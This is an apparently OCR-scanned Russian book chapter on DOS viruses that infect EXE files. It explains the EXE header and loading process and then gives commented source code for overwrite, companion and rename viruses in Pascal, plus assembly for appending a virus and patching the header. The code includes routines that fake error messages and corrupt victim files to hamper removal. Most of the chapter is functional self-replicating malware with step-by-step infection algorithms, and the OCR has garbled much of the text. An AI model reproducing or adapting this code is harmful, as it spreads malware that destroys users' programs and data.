Exe-вирусы

ВИРУСЫ
В этой главе рассказано о ви-русах, заражающих ЕХЕ-фай-лы. Приведена классифика-ция таких вирусов, подробнорассмотрены алгоритмы ихработы, отличия междуними, достоинства и недо-статки. Для каждого типавирусов представлены исход-ные тексты с подробнымикомментариями. Также приве- .дены основные сведенияо структуре и принципах ра-боты ЕХЕ-программы.

СОМ-файлы (небольшие программы, написанные в основном на языкеAssembler) медленно, но верно устаревают. Им на смену приходят пуга-ющие своими размерами ЕХЕ-монстры». Появились и вирусы, умею-щие заражать ЕХЕ-файлы.
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-скольких сегментов (кодов, данных, стека). Они могут занимать боль-ше 64Кбайт.
ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуруи данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-стройки адресов (Relocation Table). Таблица состоит из значений в фор-мате сегмент смещение. К смещениям в загрузочном модуле, на которыеуказывают значения в таблице, после загрузки программы в память дол-жен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-ции DOS 4Bh) выполняются следующие действия
1. Определяется сегментный адрес свободного участка памяти, размеркоторого достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ — PSP;
сегмент+ООЮЬЮОООЬ — программа). В поля PSP заносятся соответ-ствующие значения.
4. Адрес DTA устанавливается равным PSP 0080h.
5. В рабочую область загрузчика считывается форматированная частьзаголовка ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7. Определяется смещение загрузочного модуля в файле, равноеHdrSize*16.
8. Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.
9. Считывается в память загрузочный модуль (начиная с адресаSTART_SEG 0000).

10. Для каждого входа таблицы настройки
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELO_SEG I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG I_OFF).
11. Распределяется память для программы в соответствии с МахМети МтМет.
12. Инициализируются регистры, выполняется программа
a) ES=DS°PSP;
b) АХ=результат проверки правильности идентификаторов драйве-ров, указанных в командной строке;
c) SS°START_SEG+ReloSS, SP-ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить на группы, используя в качествепризнака для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом. Главный их недостаток — слишкомгрубая работа. Инфицированные программы не исполняются, так каквирус записывается поверх программного кода, не сохраняя его. Призапуске вирус ищет очередную жертву (или жертвы), открывает найден-ный файл для редактирования и записывает свое тело в начало про-граммы, не сохраняя оригинальный код. Инфицированные этими виру-сами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения
к каждому инфицированному файлу создается файл-спутник. Рассмот-рим более подробно два типа вирусов этой группы
Вирусы первого типа размножается следующим образом. Для каждого ин-фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным

кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширениемСОМ. Вирус активируется, если при запуске программы в команднойстроке указано только имя исполняемого файла. Дело в том, что, еслине указано расширение файла, DOS сначала ищет в текущем каталогефайл с заданным именем и расширением СОМ. Если СОМ-файл с та-ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Еслине найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)файл. В случае отсутствия в текущем каталоге исполняемого файлас указанным именем поиск ведется во всех каталогах, доступныхпо переменной PATH. Другими словами, когда пользователь хочет за-пустить программу и набирает в командной строке только ее имя(в основном так все и делают), первым управление получает вирус,код которого находится в СОМ-файле. Он создает СОМ-файл ещек одному или нескольким ЕХЕ-файлам (распространяется), а затемисполняет ЕХЕ-файл с указанным в командной строке именем. Поль-зователь же думает, что работает только запущенная ЕХЕ-программа.Вирус-спутник обезвредить довольно просто — достаточно удалитьСОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемогоЕХЕ-файла остается прежним, а расширение заменяется каким-либодругим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,файл может получить расширение DAT (файл данных) или OVL (про-граммный оверлей). Затем на место ЕХЕ-файла копируется вирусныйкод. При запуске такой инфицированной программы управление полу-чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще одинили несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по-скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-няет его. Когда работа инфицированной программы закончена, еезапускаемому файлу возвращается расширение неисполняемого. Лече-ние файлов, зараженных вирусом этого типа, может быть затруднено,если вирус-спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные их код записывается в инфици-руемую программу, что существенно затрудняет лечение зараженныхфайлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой в конецфайла дописывается тело вируса, а заголовок корректируется (с сохране-нием оригинального) так, чтобы при запуске инфицированного файлауправление получал вирус. Похоже на заражение СОМ-файлов, но вмес-то задания в коде перехода в начало вируса корректируется собственноадрес точки запуска программы. После окончания работы вирус берет изсохраненного заголовка оригинальный адрес запуска программы, прибав-ляет к его сегментной компоненте значение регистра DS или ES (полу-ченное при старте вируса) и передает управление на полученный адрес.
Следующий способ — внедрение вируса в начало файла со сдвигом кодапрограммы. Механизм заражения такой тело инфицируемой программысчитывается в память, на ее место записывается вирусный код, а посленего — код инфицируемой программы. Таким образом, код программыкак бы «сдвигается» в файле на длину кода вируса. Отсюда и названиеспособа — «способ сдвига». При запуске инфицированного файла вирусзаражает еще один или несколько файлов. После этого он считываетв память код программы, записывает его в специально созданный надиске временный файл с расширением исполняемого файла (СОМ илиЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-ту, временный файл удаляется. Если при создании вируса не применя-лось дополнительных приемов защиты, то вылечить инфицированныйфайл очень просто — достаточно удалить код вируса в начале файла,и программа снова будет работоспособной. Недостаток этого методав том, что приходится считывать в память весь код инфицируемой про-граммы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов — метод переноса — по всей ви-димости, является самым совершенным из всех перечисленных. Вирусразмножается следующим образом при запуске инфицированной про-граммы тело вируса из нее считывается в память. Затем ведется поискнеинфицированной программы. В память считывается ее начало,по длине равное телу вируса. На это место записывается тело вируса.Начало программы из памяти дописывается в конец файла. Отсюда на-звание метода — «метод переноса». После того, как вирус инфицировалодин или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицирован-ной программы, сохраненное в конце файла, и записывает его в начало
файла, восстанавливая работоспособность программы. Затем вирус уда-ляет код начала программы из конца файла, восстанавливая оригиналь-ную длину файла, и исполняет программу. После завершения програм-мы вирус вновь записывает свой код в начало файла, а оригинальноеначало программы — в конец. Этим методом могут быть инфицированыдаже антивирусы, которые проверяют свой код на целостность, так какзапускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы, замещающие программный код(Overwrite)
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,соревнование в написании самого маленького overwrite-вируса. На дан-ный момент самый маленький из известных overwrite-вирусов написанReminder’ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например»Abnormal program termination» или «Not enough memory», — пустьпользователь не слишком удивляется тому, что программа не запу-стилась.
12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы такимспособом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}Uses DOS;
Const
(Имя вируса}VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel String[5]=’Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}Virldentifier Array [1.5] of Char;
{Файловая переменная для работы с файлами}VirBody File;

(Еще одна файловая переменная — хотя без нее можно былообойтись, так будет понятнее)Target File;
{Для имени найденного файла)TargetFile PathStr;
(Буфер для тела вируса)VirBuf Array [-I.VirLen] of Char;
(Для даты/времени файла)Time Longint;
(Счетчик количества инфицированных файлов)InfFiles Byte;
Dirlnfo SearchRec;
LabelBuf Array [1.5] of Char;
(Инициализация)procedure Init;
beginLabelBuf [1] =VirLabel[1];
LabelBuf[2] =VirLabel[2];
LabelBuf[3] =VirLabel[3],LabelBuf[4] =VirLabel[4];
LabelBuf[5] =VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}lnfFiles =0;
(Связываем файловую переменную VirBody с именем программы.из которой стартовали)Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл)Close(VirBody);
end;
(Поиск жертвы}procedure FindTarget;
VarSr SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}function VirusPresent Boolean;
begin
(Пока будем считать, что вируса нет}VirusPresent =False;
(Открываем найденный файл}Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}Seek(Target, VirLen);
(Считываем 5 байт — если файл уже заражен,там находится метка вируса}BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус}VirusPresent =True;
end;
(Процедура заражения}procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вирусаплюс 100 байт, то выходим из процедуры}If Sr.Size < VirLen+100 Then Exit; {Если найденная программа еще не заражена, инфицируем ее}If Not VirusPresent Thenbegin
{Запомним дату и время файла. Атрибуты запоминать не надо,так как поиск ведется среди файлов с атрибутом Archive, а этотатрибут устанавливается на файл после сохранения в любом случае}Time =Sr.Time;
{Открываем для заражения}Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позициина длину вируса от начала файла}Seek(Target, VirLen);
{Вписываем метку заражения}BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}SetFTime(Target, Time);
{Закрываем}Close(Target);
{Увеличиваем счетчик инфицированных файлов}Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget}begin
{Ищем в текущем каталоге файлы по маске *.ЕХЕс атрибутами Archive}FindFirstF.EXE’, Archive, Sr);

{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=» Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}TargetFile =Sr.Name;
{Вызываем процедуру заражения}InfectFile;
{Если заразили InfCount файлов, завершаем поиск}If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}FindNext(Sr);
end;
end;
{Основное тело}begin
(Инициализируемся}hit;
{Ищем жертвы и заражаем их}FindTarget;
{Выдаем на экран сообщение об ошибке}WriteLn(‘Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirNameи Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}If 2=3 ThenbeginWriteLn(VirName);
WriteLn(Author);
end;
end.

Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены — соотношениеcompanion и parasitic вирусов примерно один к двум.
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода — не трогая «чужого кота» (ЕХЕ-программу), со-здать «своего» — СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-ты такого вируса предельно прост, так как отпадает необходимостьлишних действий (например, сохранения в теле вируса длины откомпи-лированного ЕХЕ-файла с вирусным кодом, считывания в буфер телавируса, запуска файла, из которого вирус получил управление). Неза-чем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора
1. Если в командной строке указаны параметры, сохранить их в пере-менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-лом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходимк пункту 6.
5. С помощью командного процессора скопировать файл, из которогополучено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, нос расширением ЕХЕ — то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этимметодом.
($М 2048, 0, 0}f$A-}<$В-"($D-}<$Е+1{$F-}{$G-}
{$!-}

f$L-({$N-){$S-}<$V-}{$X+}
(Используются модули DOS и System (модуль System автоматическиподключается к каждой программе при компиляции)}Uses DOS;
Const
{Имя вируса)VirName=’Guesf;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}lnfCount=2;
Var
{Для имени найденного файла)TargetFile PathStr;
{Для создания копии}TargetCOM PathStr;
(Счетчик количества заражений}InfFiles Byte;
Dirlnfo SearchRec;
{Для сохранения параметров командной строки}Parms String;
(Для цикла For}I Byte;
(Поиск жертв}procedure FindTarget;
VarSr SearchRec;

{Функция возвращает True, если найденная программа уже заражена,и False, если еще нет}function VirusPresent Boolean;
Var
Target File;
begin
{Пока будем считать, что вируса здесь нет}VirusPresent =False;
{Пытаемся открыть файл с именем найденной программы,но с расширением СОМ}AssignHarget, TargetCOM);
ResetHarget, 1);
{Если не было ошибок при открытии,программа уже инфицирована этим вирусом}If IOResult=0 ThenbeginVirusPresent =True;
{Открыли — закроем}Close(Target);
end;
end;
{Собственно процедура заражения}procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}If Not VirusPresent Thenbegin
{С помощью командного процессоракопируем вирусный код в СОМ-файл}Swap Vectors;
Exec(GetEnv(‘COMSPEC’),7C COPY /B ‘+ParamStr(0)+»+TargetCOM+’ >NUL’);
Swap Vectors;

(Увеличиваем на единицу счетчик инфицированных файлов}Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы по маске *.ЕХЕс атрибутами Archive}FindFirstF.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=» Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}TargetFile =Sr.Name;
TargetCOM =Copy(TargetFile,1,Length(TargetFile)-4)+’.COM’;
{Вызываем процедуру заражения}InfectFile;
{Если заразили InfCount файлов, завершаем поиск}If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}FindNext(Sr);
end;
end;
{Основное тело}beginParms =’ ‘;
{Запоминаем параметры командной строки}If ParamCount <> 0 ThenFor l =1 To ParamCount DoParms =Parms+’ ‘+ParamStr(l);
{Ищем жертвы и заражаем их}FindTarget;

TargetFile =Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+’.EXE’;
(Ищем файл с именем стартового файла, но с расширением ЕХЕ}FindFirst(TargetFile, AnyRle, Dirlnfo);
{Если такой файл найден, запускаем его на выполнение)If DosError=0 ThenbeginSwap Vectors;
Exec(GetEnv(‘COMSPEC’),7C ‘+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,не внося в программу изменений)beginWriteLn(#13#10, VirName, ‘ by ‘.Author);
WriteLnCKaKoe-нибудь сообщение’);
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их «коллег», создающихфайл-спутник, не так уж много. Но, по всей видимости, заражение ме-тодом переименования несколько совершеннее — для излечения от ви-руса нужно не просто удалить СОМ-файл с кодом вируса, а немногопомучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-лом-жертвой файл с таким же именем и с расширением, котороевыбрано для инфицированной программы (например, OVL — про-граммный оверлей).
4. Если такой файл присутствует, программа уже инфицирована — пе-реходим к пункту 7.
5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-нем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого по-лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именемстартовой программы, но с расширением, выбранным для инфици-рованной — это и будет зараженная программа, которую в данныймомент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на СОМ (ни в коем случае нена ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).
10. Процедурой Ехес загрузить и выполнить переименованный файл -то есть выполнить инфицированную программу.
11. Вернуть СОМ-файлу с инфицированной программой выбранноерасширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Riderнаписан очень просто и доступно. За сеанс работы он заражает одинЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьмапрост файл-жертва переписывается в файл с расширением OVL (овер-лейный файл), а на его место с помощью командного процессора копи-руется вирусный код. При запуске происходит заражение только чтонайденного ЕХЕ-файла, затем вирусный код переименовываетсяв OWL, a OVL — в ЕХЕ, после чего оригинал запускается на исполне-ние. Когда оригинал отработал, происходит переименование в обратномпорядке. С защищенного от записи диска программа не запустится, онавыдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно про-сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-чение, в вирусе может быть использован такой прием
procedure MakeNot;
Var
Buf10 Array [1.10] of Byte;
Cicle Byte;
beginSeek(Prog, 0);
Reset(Prog);

BlockRead(Prog, Buf10, 10);
For Cicle =1 To 10 Do Buf10[Cicle] =Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры надо учитывать, что заражаемаяи запускаемая на исполнение программа должна быть связана с пере-менной Prog типа File, описанной в основном модуле. Суть процедурысостоит в том, что из заражаемой программы считываются 10 байт и ко-дируются операцией Not. ЕХЕ-программа становится неработоспособ-ной. Запускать эту процедуру нужно не только перед прогоном ориги-нала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,High Heap Limit Ob }
{Используются модули DOS и System (модуль System автоматическиподключается к каждой программе при компиляции)}Uses DOS;
ConstFail=’Cannot execute ‘^13#10’Disk is write-protected’;
{Расширения файлов, которые будем использовать}Ovr=’.OWL’;
Ovl=’.OVL’;
Ехе=.ЕХЕ’;

VarDirlnfo SearchRec;
Sr SearchRec;
Ch Char;
I Byte;
OurName PathStr;
OurProg PathStr;
Ren File;
CmdLine ComStr;
Victim PathStr;
VictimName PathStr;
(Процедура для проверки диска на Read Only)procedure CheckRO;
beginAssign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult <> 0 Then
{Если диск защищен от записи, то ответ ‘Access denied’}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура прогонки оригинала}procedure ExecReal;
begin
{Находим оригинал}FindFirst(OurName+Ovl, AnyFile, Dirlnfo);
If DosError <> 0 Then
(Если не нашли}
begin
WriteLn(‘Virus RIDER. Let’s go on riding!’);
WriteLn(‘l beg your pardon, your infected file cannot be executed.’);

(Выход с DosError=ann не найден)Halt(18);
end;
{Переименовываем программу в OVL}Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в ЕХЕ}Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
(И запускаем его}Swap Vectors;
Exec(GetEnv(‘COMSPEC’), 7C ‘+OurName+Exe+CmdLine);
Swap Vectors;
{А теперь возвращаем все на место)Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
(Процедура заражения}procedure Infect;
begin
{Переименовываем жертву в OVL}Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}SwapVectors;
Exec(GetEnv(‘COMSPEC’), ‘/С COPY ‘+OurProg+’ ‘+Victim+’ >NUL’);
SwapVectors;
end;
{Процедура поиска жертвы}procedure FindFile;
begin

{В текущем каталоге ищем ЕХЕ-файл}FindFirst(‘*EXE’, AnyFile, Dirlnfo);
If DosError=0 Then
{И если он найден}begin
{Запоминаем имя жертвы}Victim =Dirlnfo.Name;
{Запоминаем имя без расширения}VictimName =Copy(Victim, 1, Length(Victim)-4);
{Ищем оверлей с тем же именем}FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}procedure I nit;
begin
(Командная строка}CmdLine =»;
{Полное имя нашей программы}OurProg =ParamStr(0);
{Имя нашей программы без расширения}OurName =Copy(ParamStr(0), 1, Length(ParamStr(0))-4);
For l =1 To ParamCount Dobegin
{Запоминаем параметры}CmdLine =ParamStr(l)+’ ‘;
end;
end;

{Основная подпрограмма}begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ‘ ‘);
end;
{Инициализируемся}Init;
(Проверка диска на R/О}CheckRO;
{Ищем и заражаем}FindFile;
{Загружаем оверлей}ExecReal;
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус вне-дряется в инфицируемую программу, это дает ему много преимуществперед всеми вышеописанными вирусами на диске не появляются лиш-ние файлы, нет забот с копированием и переименованием, кроме того,усложняется лечение инфицированных файлов.
Стандартное заражение ЕХЕ-файлов
Стандартное заражение — заражение, при котором вирус внедряетсяв конец файла, изменяя заголовок так, чтобы после загрузки файла уп-равление получил вирус. Принципиально действие такого вируса малоотличается от действия рассмотренного СОМ-вируса. Чтобы выяснитьспособы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-граммы
;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,;которых вполне достаточно)

ReadHeader
mov ah,3Fh
mov dx,offset EXEHeadermov cx,0018hint 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем;будем обращаться к заголовку, используя Sl+смещение элементаmov si,offset EXEHeader
[Получаем реальную длину файла, переместив указатель текущей;позиции чтения/записи в конец файлаGetRealFSize
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину файлаmov Reallen.dxmov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно;помнить, что все вышесказанное не должно затрагиватьоверлейные файлы. Их длина, указанная в заголовке,.-меньше реальной, то есть эти файлы загружаются;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет;в незагружаемую часть.Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остатокCompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц;(в каждой странице содержится 512 байт),;а в регистре DX — остаток, образующий

;еще одну (неучтенную) страницу..Добавим эту страницу к общему числу страниц -;если остаток не равен нулю, то.увеличим число страниц
or dx.dx
jz m1
inc axm1
.Будем считать пригодным для заражения.стандартным способом файлы с длиной,;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление;зараженной программе, сохраним поля ReloSS,;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла..Значения констант, используемых в программе,.равны смещению соответствующего;элемента в заголовке ЕХЕ-файла (Приложение А)InitRetVars
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
.Восстановим из стека реальную длину файла;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
.Рассчитаем длину программы с вирусом, для чего прибавим;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE — длина тела вируса
adc dx.0

рассчитаем получившуюся длину (одна страница — 512 байт);и остаток в последней странице (так же,;как рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc axNewJen
;Внесем в заголовок новую длину файлаmov [si+PageCnt],axmov [si+PartPag],dx
;Прочитаем реальную длину файла.;По ней будем рассчитывать новую;точку входа в программу (адрес запуска)Eval_new_entry
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили число параграфов (AX) и остаток (DX — смещение;вируса в последнем параграфе).;0тнимем от числа параграфов в файле число.параграфов в заголовке — получим сегмент входа в ЕХЕ-файлsub ax,[si+HdrSize]
;3апишем новую точку входа в заголовокmov [si+ReloCS],axmov [si+ExelP],dx
.Замечание можно было округлить полученное число,;и вирус начинался бы с OOOOh.;Но этого делать не стоит.

,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо «mov ax,ANYDATA» придется делать так
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA — смещение относительно начала тела вируса
;Стек поставим за тело вируса — байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.’Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека —
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.; Рекомендуется писать сначала тело, а потом заголовок.;Если тело вдруг не допишется,;то файл испортим зряUpdateRle
;3апишем тело вирусаWriteBody
.-Установим указатель чтения/записи в конец файлаmov bx,Handleхог сх,схxor dx.dxmov ax,4202hint 21 h
.Запишем тело вируса в файлmov ah,40hmov cx.VIRSIZEmov dx.offset VIRStartint 21h
;3апишем заголовокWriteHeader
;Установим указатель чтения/записи в начало файлаmov ax,4200h

xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус «поселился» в ЕХЕ-файле. А как после окончания работывируса передать управление инфицированной программе? Вот процеду-ра выхода из вируса
CureEXE
StackBack
-.Установим первоначальный указатель (сегмент и смещение) стекаmov ax.ds
-.Прибавим ООЮп, после чего в АХ будет;находится сегмент, с которого;загружен программный модульadd ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогииOldSS dw ? ;это значение было установлено;при заражении
;3апретим прерывания, так как со стеком нельзя работать,;пока и сегмент, и смещение не установлены в нужное значениеcli
-.Установим сегмент стека (PSP+Wh+OldSS)mov ss.ax
Установим первоначальный указатель (смещение) стека
db @mov_spOldSP dw ?
; Разрешим прерывания — опасный участок пройденsti

[Подготовим значения в стеке для команды IRETRetEntryPoint
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db @add_axOldCS dw ?
;Сохраним в стеке полученное значение (PSP+Wh+OldCS)push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_axOldIP dw ?
push ax
.Запустим программу. В стеке находятся смещение;точки входа, сегмент точки входа и флагиiret
Внедрение способом сдвига
Инфицируемая программа размещается в файле после кода вируса,сдвигаясь на его длину, отсюда и название метода. Алгоритм работывируса следующий
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл,но можно и не слишком большой ЕХЕ — это связано с тем, что всетело инфицируемой программы считывается в память и ее может нехватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.

10. Дописать в файл после тела вируса тело программы из буфера.Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенноев файле после тела вируса.
14. Создать на диске временный файл с расширением СОМ или ЕХЕ(в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на исполнение -выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
